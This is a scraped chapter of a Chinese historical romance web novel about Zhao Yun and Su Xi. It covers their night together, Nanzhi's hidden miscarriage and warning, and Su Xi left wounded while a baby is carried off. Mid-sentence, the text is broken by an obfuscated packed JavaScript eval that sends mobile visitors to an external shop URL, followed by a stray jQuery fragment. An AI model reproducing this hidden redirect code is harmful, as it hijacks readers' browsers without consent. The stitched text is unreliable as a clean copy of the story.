文趣网 > 其他小说 > 赵云捡来的小娘子 > 33. 殷红之子
    “抱歉,我不能娶你。”

    苏兮睁着湿漉漉的眼睛盯着眼前,似是心怀歉意的的赵云,瞬间明白了他的无奈。

    “我可以理解成不是不愿,是不能吗?”

    赵云轻笑,抱紧苏兮瘦小的身子。

    “我说话从不会拐弯抹角。”

    苏兮还想问主公为何下此命令,若非真如南枝所言,是为了留着娶谁家小姐?

    “那将军会娶别人吗?”

    赵云当即摇头:“不会。”

    苏兮不信:“你身为将军,怎可能不三妻四妾?”

    赵云歪头:“若是有家业继承,的确该考虑。可惜我没有。”

    “哪里没有了!”苏兮反驳道,“你是大将军,将来主公建功立业,你是功臣,怎能没有子嗣继承!”

    见小姑娘急红了眼,泪汪汪的眼睛更惹人怜爱,赵云笑意更深,曲指用手背揉揉她的脸蛋。

    “还有你呀。我如今不能娶,往后你还真不打算嫁给我?”

    苏兮怔愣,半晌后,轻轻一拳敲在赵云胸口。

    “你学坏了,开始逗我玩儿了。”

    “你年纪还小,自幼承受太多,也想让你多笑笑。”

    “合着又把我当妹妹呢。”

    “爱人不更爱宠溺?”

    苏兮接二连三被赵云的话噎住。这还是她认识的将军吗?

    “到底从哪儿学的……不能是妖灵附体吧?!”

    苏兮忽地推倒赵云,将他压制在身下,快速取来被褥,将他“封印”起来。

    只露了个脑袋在外的赵云,笑得眯起眼。

    太可爱了。

    “这是在……封印妖灵?”

    苏兮一把捂住赵云的嘴,警惕地四下张望。

    “定是方才风吹开门,妖邪跑进来,上了您的身。”

    赵云转眼去看敞开的门,外头院子银白色一片,树影摇晃。

    隔壁屋子的灯还亮着。

    “他俩竟然没睡。”

    随着赵云的话,苏兮也望去,陈到与南枝还醒着。

    “许是南枝身子不适,陈将军醒来照顾。”苏兮叹了口气,“也不知她到底怎么了。”

    赵云默不作声。他当然知道发生了什么,也知道陈到南枝搬来此处的原因。

    避难。

    至于被强行流走的孩子去了何处,陈到追寻至今,依旧没有下落。

    具体的细节赵云并不知晓,只是那夜,随陈到巡查完毕,赵云刚要离开去寻苏兮,穿小路走到一处林子时,发现一个人影蜷缩在地上。

    赵云怎么没想到会在那种地方碰见南枝,且她的身下满是鲜血。

    赵云当即抱起南枝奔向医馆,将人送到后再折返去叫陈到。

    听大夫说,是肚子里的孩子没了。南枝从头至尾不哭不闹,完全不像丢了孩子的母亲,或者是遭人迫害的伤者。

    似是只有无奈,逼迫自己坦然接受。

    赵云对此事不好过问,了解到的只有这么多,全是陈到告知的。陈到是想拜托赵云同他一起找人,可连南枝也不知道下手的人是谁,根本无从查起。

    不过,赵云断定,南枝肯定说了谎。只有知道一切真相,却无力反抗时,才会变成那样。

    贼人地位在她之上,甚至在陈到之上,所以她不能说。说了无用,不如不说。

    “要不我明日去山里狩只野鸡回来,炖汤给南枝补补。”苏兮道。

    赵云收回视线,盯着小姑娘认真的样子,右手从被褥下抽出,揽上苏兮的后背,把人带到怀中。

    “明日休沐,一道去。”

    苏兮靠在赵云身上,眉头一皱:“方才谁说明日要早起的?”

    赵云轻笑:“似乎是我。”

    苏兮上去又是轻飘飘一拳,赵云笑着一个翻身,反用被褥裹住她。

    “嗯?!”

    苏兮的嘴也被捂住,赵云把人裹成圆柱扛在肩上,大步往里屋走。

    “嗯——!!!”

    被裹得严严实实的小姑娘发出似是抵抗的声音,赵云站在榻边,垂眸对上苏兮的双眸。

    “不愿我睡榻?”

    苏兮连连摇头:“呜呜呜呜!”

    赵云听不清,空闲的手拉下挡住她嘴的被褥。

    苏兮先喘了几口气,而后挑眉使劲儿往门那边儿瞅。

    赵云看去,原是门没关。于是扛着苏兮,又走出里屋。

    “就不能先把我放下再去吗……”

    “不能。”

    “将军也不嫌重。”

    “轻如羽翼,都忘了肩上有人。”

    “……哼。”

    *

    昨夜闹得欢腾,苏兮摸准了南枝与陈到是听见的,第二天与南枝单独在家时,总忍不住去瞅身旁之人。

    “别瞅啦,就这么想被我问?”

    苏兮连忙收回视线,心虚道:“怎会。私密之事,怎可高谈阔论。”

    南枝轻笑:“看来咱们小姑娘这一年来学了不少知识。”

    苏兮不好意思地笑道:“将军喜欢看书,但我不识字,他便指着竹简上的字,一个一个念给我听。”

    “哦?”南枝来了兴趣,“何时?”

    “很早之前了。”苏兮歪着脑袋回忆,“从邺城到汝南,凡是将军值守的夜,我都陪着他的。两个人也无事可做,将军又想哄我早点睡,便念了书。”

    南枝挑眉眯眼:“还有吗?”

    苏兮摇头:“没了。那之后……再没跟他在夜里独处。”

    除了那个被她主动忘记的夜晚。

    南枝噗嗤一笑,取过摆放在两人中间的针线盒,取出新线。

    “赵将军果然心善,处处留心。唉,要是陈到有他一半稳重就好了。”

    南枝看似在拿爱人打趣,苏兮反倒听出点点“若是当初”的韵味。

    苏兮倏地握住南枝的手,满脸担忧。

    “你的身子,可好些了?”

    南枝投去浅笑:“好多了。”

    “当真?那昨夜……为何点灯?”

    南枝笑意敛去,垂眸垂手:“突然惊醒,陈到担心我,便点了灯。”

    “惊醒?”苏兮皱眉,“噩梦?”

    南枝沉吟,语气略带调皮道:“算是吧,主要怕黑,伸手不见五指,总有不安。”

    南枝怕黑?从前在甘夫人身边伺候,夜半摸黑起茶递水是常事,廊道里连盏灯笼都没有,她走得比谁都稳。

    她一定有事瞒着。

    “南枝!”苏兮攥紧她的手,“我不逼你必须告诉我,但,我担心你,你若需要我做的,尽管开口!”

    南枝看着她好一会儿没动,嘴角

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715884|205414||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还挂着点笑,但笑意底下有什么翻涌了下,又压下去。她轻轻把手从苏兮手里抽出来,反握住。

    “还真有拜托你。”南枝说,声音很轻,生怕被门外路过的人听见似的,“一定不要怀有身孕,哪怕有,哪怕害了身子,也一定不能留。”

    苏兮怔住:“此话……何意啊?”

    “字面意思,务必牢记于心。”

    “可是——”

    “苏兮,”南枝抬头,冷静得吓人,“信我,我不会害你,我只想帮你。”

    苏兮点了点头。点完又觉得不对,想再追问,可南枝已经把针举起来,继续缝补陈到的衣裳。

    那之后,苏兮每每想起南枝的话,总想不明白为何。

    直到三个月后,糜夫人生产。

    *

    林城抱着南枝的孩子,迅速消失在黑暗中。苏兮的肚子血流不止,她无法站直身子,跪坐在地上,蜷缩着身子。

    “将军……救我……你快来……”

    气若游丝的声音怎可能传出去,苏兮必须叫出声音。可若使劲儿,肠子定然会撕裂更深,倘若赵云依旧没听见,她短暂的一生可就止步于此了。

    “不……将军一定能听见的……”

    苏兮攥紧拳,憋了一口气,猛地仰起头。腹部的伤口被这一下拉扯,疼得她差点又栽回去。她咬着牙,浑身发抖,把那口气从胸腔里顶出来。

    “赵——云——!”

    声音撞在廊道的墙壁上,碎在夜风里。苏兮喊完就撑不住了,脱了力歪倒在地上。血还在流,裙摆下面洇开一大片,沿着地缝慢慢往外爬。

    “好疼啊……你快来啊……”

    远处,婴儿的啼哭声如惊雷般炸开。与此同时,是高喊“抓住贼人,不许他把孩子抱走”的声音。

    苏兮对这声音再熟悉不过。是赵云。他在抓贼,声音渐行渐远。

    林城在把赵云往另一个方向引,似乎离苏兮越来越远。

    眼泪混着冷汗淌下来,苏兮想再试试,可声音彻底发不出,视线也变得模糊。

    “赵云……”

    远处隐隐约约传来兵刃碰撞的声音,然后断了。又一阵风吹过来,带着血腥气和夜露的潮味。

    苏兮闭上双眼,想起了诸多。

    自幼没见过父母的自己,到死还在笑着安慰自己的兄长,与兄长相似却截然不同的赵云,与赵云性子相反但是善良的陈到,陈到发誓会娶她过门的南枝,没了孩子还强撑微笑的南枝……

    苏兮把额头抵在地上,牙关咬得咯吱响。

    “别死啊……你不是会复生吗……等他来,就好了嘛……”

    她试着撑起身子,手臂发软,撑到一半又塌下去。手肘磕在石板上,疼得她嘶了一声。她翻了个身,仰面朝天,看着头顶星辰,大口喘着气,每一次呼吸都带着血的铁锈味。

    远处,兵刃碰撞的声音又响了两下,然后彻底安静了。

    林城被抓到了吗?他们会发现那是南枝的孩子吗?南枝……会哭吧。

    苏兮盯着流星划过,把所有的力气攒起来,攒在嗓子眼里,攒成一个名字。

    “赵云——!!!”

    没有回应。

    风从廊道穿过来,吹得她散开的发丝,却没吹来他的气息。苏兮闭上眼,手指慢慢松开。

    夜寂。